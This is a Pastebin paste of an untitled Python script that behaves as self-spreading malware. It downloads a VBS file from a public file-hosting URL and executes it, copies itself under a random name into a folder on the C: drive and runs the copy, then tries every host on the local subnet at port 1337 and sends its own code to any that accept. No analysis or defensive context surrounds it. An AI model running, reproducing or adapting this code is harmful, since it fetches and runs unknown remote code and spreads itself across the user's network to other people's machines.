Guest User

Untitled

a guest
Jan 24th, 2023
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.81 KB | None | 0 0
  1. import socket
  2. import os
  3. import requests
  4. import subprocess
  5. import random
  6. import string
  7.  
  8. url = "https://litter.catbox.moe/g6seku.vbs"
  9.         # https://pastebin.com/jctfy1m1
  10.  
  11. r = requests.get(url)
  12.  
  13. with open("g6seku.vbs", 'wb') as f:
  14.  
  15.     f.write(r.content)
  16.  
  17. command1 = ""f'start g6seku.vbs'""
  18. os.system(command1)
  19.  
  20. # Get the current file's path
  21. file_path = os.path.abspath(__file__)
  22.  
  23. # Open the file
  24. with open(file_path, 'rb') as f:
  25.     file_data = f.read()
  26.  
  27. # Generate a random string for the file name
  28. file_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(10)) + ".py"
  29.  
  30. # Get the path of the copied file
  31. copied_file_path = os.path.join("C:\\plrg", file_name)
  32.  
  33. # Check if the directory exists, create it if it doesn't
  34. if not os.path.exists(os.path.dirname(copied_file_path)):
  35.     os.makedirs(os.path.dirname(copied_file_path))
  36.  
  37. # Save the received data to the new file
  38. with open(copied_file_path, "wb") as f:
  39.     f.write(file_data)
  40.  
  41. # Open the copied file using the appropriate command
  42. subprocess.run(["start", copied_file_path], shell=True)
  43.  
  44. # Get the local IP address
  45. ip = socket.gethostbyname(socket.gethostname())
  46.  
  47. # Get the subnet
  48. subnet = '.'.join(ip.split('.')[:-1]) + '.'
  49.  
  50. # Iterate through all IP addresses in the subnet
  51. for i in range(1, 256):
  52.     try:
  53.         # Create a socket
  54.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  55.         # Connect to the IP address
  56.         s.connect((subnet + str(i), 1337))
  57.         # Send the file data
  58.         s.sendall(file_data)
  59.         # Save the received data to a new file
  60.         with open(copied_file_path, "wb") as f:
  61.             f.write(file_data)
  62.         # Close the socket
  63.         s.close()
  64.     except:
  65.         # If the connection fails, move on to the next IP
  66.         pass
Add Comment
Please, Sign In to add comment